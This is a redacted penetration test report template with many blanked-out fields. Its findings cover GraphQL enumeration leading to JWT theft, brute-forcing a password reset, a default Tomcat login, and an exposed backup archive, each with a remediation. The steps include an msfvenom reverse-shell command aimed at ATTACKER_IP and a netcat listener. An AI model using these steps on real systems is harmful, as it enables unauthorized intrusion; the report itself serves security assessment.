Example Pentest
Example Pentest
Confidential
Date:
Version
Executive Summary
The penetration tester was tasked by to perform a security assessment from
This was completed via the . During the
assessment, the security posture of devices . As requested by , only the
will be included as part of this report.
Engagement Scope
The scope of the engagement was limited to the following targets
:
Testing Notes
During testing for , in addition to , the server presents a possible
SQL Injection vulnerability. During testing, basic SQL injection commands were observed and registered.
This vulnerability was not included as part of the report because it did not lead to a full server
compromise, but it is something we want the security development team to be aware of so that
remediate the issue promptly.
Severity Ratings
The following table defines levels of severity and corresponding CVSS score range that is used
throughout the document to assess vulnerability and risk impact.
A03:2021 – Injection:
https://owasp.org/Top10/A03_2021-Injection/
Proof of Concept
Host:
Steps:
Evidence:
Remediation
It is recommended to use positive server-side input validation. Also, to limit and validate user input. In
this case, the preferable option would be to not allow direct access to the command line via the web
page. Instead, just show the output of required data via parametrized options.
.
Proof of Concept
Host:
Steps:
1. Using a proxy application like Burp Suite and a browser like Firefox, navigate to
/.
2. On Burp Suite, navigate to the Proxy >> HTTP History tab and observe that the system is using a
GraphQL API and the webshot.local address.
3. Using a tool like Clairvoyance, we generate a GraphQL schema to further enumerate the
available API commands, since the system does not allow schema introspection:
graphql -o schema.json -w google-10000-english.txt --progress
4. Using a Burp Suite extension called InQL we analyze the endpoint using the outputted schema.
The following APIs are observed: , , and . Note: The API is
obtained by fuzzing during the enumeration phase of the attack.
5. We use the API to gain user data. (Fig. 5)
6. Using the API call we gain a JWT for the privileged user .
7. Using a tool like Postman, we setup an API call with the recently obtained JWT and the
API call, we proceed to compromise .
Remediation
To secure access to the GraphQL API, developers should validate that the current user has the authority
to view/mutate/modify the data as per their request and enforce authorization controls on endpoints
and edges. It is recommended that a reevaluation of the authentication/authorization controls on the
and is taken into consideration.
Host:
1. Using a proxy like Burp Suite and a browser like Firefox, navigate to
/forgot.php and attempt to recover the admin password.
2. Go to Burp Suite Proxy => HTTP History tab and right click on the event, and select “Send to
Intruder.”
3. In the Intruder tab, set up the options as detailed in Fig. 11-12. Then proceed to run the attack.
4. You will observe that a response with the user credentials is obtained allowing access to the
privileged user’s account.
Remediation
Ensure that recovery account methods are complex in nature and not easily guessable via brute-force
attack methods. Limit or increasingly delay failed password recovery attempts. Ensure registration and
credential recovery are hardened against account enumeration attacks by using the same messages for
all outcomes. Log all failures and alert administrators when credential stuffing, brute force, or other
attacks are detected.
Proof of Concept
Host:
Steps:
1. Using a network scanner like Nmap Automator, proceed to scan host using the
following command: nmapautomator -H
2. You will notice that the Tomcat management page is accessible. Proceed to login with the
default tomcat:tomcat username and password combination.
3. Generate a Tomcat Web Application Deployment payload using a tool like msfvenom, that will
allow us to further compromise the server: msfvenom -p java/jsp_shell_reverse_tcp
LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f war -o revshell.war
4. On the attacking system, establish a listener using the command: netcat: rlwrap nc -lvnp 4444
5. Upload the file via the management console and you will gain access to the remote system.
Remediation
The recommended best practice for Apache Tomcat webserver hardening includes:
Proof of Concept
Host:
1. Using a directory enumerating tool like Feroxbuster, run the following command: feroxbuster -u
-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-
medium.txt
2. Notice that the directory /backups is accessible. Inside we find a file called “
” with an MD5 checksum of . Proceed to
download this file.
3. Extract the archive and with a text editor, notice that the credentials for user are
available in the Signin.java file. Use these credentials to log into the ticket management portal.
Evidence:
Remediation
Disable web server directory listing and make sure that backup files are not present within web roots.